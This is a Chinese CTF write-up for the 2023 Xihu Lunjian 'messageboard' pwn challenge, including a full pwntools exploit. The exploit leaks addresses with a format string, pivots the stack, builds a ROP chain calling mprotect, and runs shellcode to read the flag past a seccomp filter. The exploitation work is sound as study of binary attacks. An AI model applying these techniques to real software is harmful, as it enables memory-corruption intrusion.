2023西湖论剑--messageboard
比赛的时候没有做出来,但是思路已经清楚了,主要是卡在了调试的某一步。
这是主函数,漏洞也出现在主函数中,可以很清楚的看到,第二次输入可以溢出到ret地址处,这样就相当于已经给了思路了,就是栈迁移。那么栈迁移肯定需要一个泄露地址和伪造栈的输入,所以leak是在第一个输入,用格式化字符串来泄露。而布栈就和栈迁移一起执行了。
第一步先泄露栈地址
泄露上述两个地址
p.sendlineafter("Welcome to DASCTF message board, please leave your name:","%p%31$p")
p.recvuntil("Hello, ")
stack_addr = int(p.recv(14),16) + 0x10 -0x8
print(hex(stack_addr))libc_addr = int(p.recv(14),16) - 0x21c87
print(hex(libc_addr))
mprotect = 0x11b7e0 + libc_addr
pop_rdx_ret = 0x1b96 + libc_addr
system_addr = 0x4f420 + libc_addr
read_addr = 0x401120
这样就知道了栈地址和libc地址。
接下来就是如何得到flag了,因为execve被沙箱过滤了
所以想到有两种方法:1.用open函数直接打开flag 2.用mprotect函数改权限,执行shellcode打开flag。
我们复现的时候用第二种方法。
首先,执行mprotect函数,将某可读可写地址改为可执行的地址
payload = p64(pop_rdi_ret) + p64(0x404000) + p64(pop_rsi_r15_ret)
payload += p64(0x1000) + p64(0) + p64(pop_rdx_ret) + p64(7)
payload += p64(mprotect) + p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(0x404000) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
payload += p64(0x404000) + 'a'*40 + p64(stack_addr) + p64(leave_ret)
然后继续用read函数在该地址写入shellcode,布的栈是这样的。
最后就是读入shellcode执行就好了
以下是完整exp:
from LibcSearcher import *
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('/home/hacker/Desktop/pwn' )
libc=ELF('/home/hacker/Desktop/libc-2.27.so' )
#p=remote("node4.buuoj.cn",27153)
p=process('/home/hacker/Desktop/pwn' )pop_rdi_ret = 0x401413
leave_ret = 0x4013A2
puts_got = 0x404028
puts_plt = 0x4010E0
main_addr = 0x4012e3
pop_rsi_r15_ret = 0x0000000000401411gdb.attach(p)
pause()p.sendlineafter("Welcome to DASCTF message board, please leave your name:","%p%31$p")
p.recvuntil("Hello, ")
stack_addr = int(p.recv(14),16) + 0x10 -0x8
print(hex(stack_addr))libc_addr = int(p.recv(14),16) - 0x21c87
print(hex(libc_addr))
mprotect = 0x11b7e0 + libc_addr
pop_rdx_ret = 0x1b96 + libc_addr
system_addr = 0x4f420 + libc_addr
read_addr = 0x401120
payload = p64(pop_rdi_ret) + p64(0x404000) + p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0) + p64(pop_rdx_ret) + p64(7) + p64(mprotect) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(0x404000) + p64(0) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr) + p64(0x404000) + 'a'*40 + p64(stack_addr) + p64(leave_ret)
gdb.attach(p)
pause()
p.sendafter("Now, please say something to DASCTF:",payload)
p.send(asm(shellcraft.cat("./flag")))p.interactive()
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
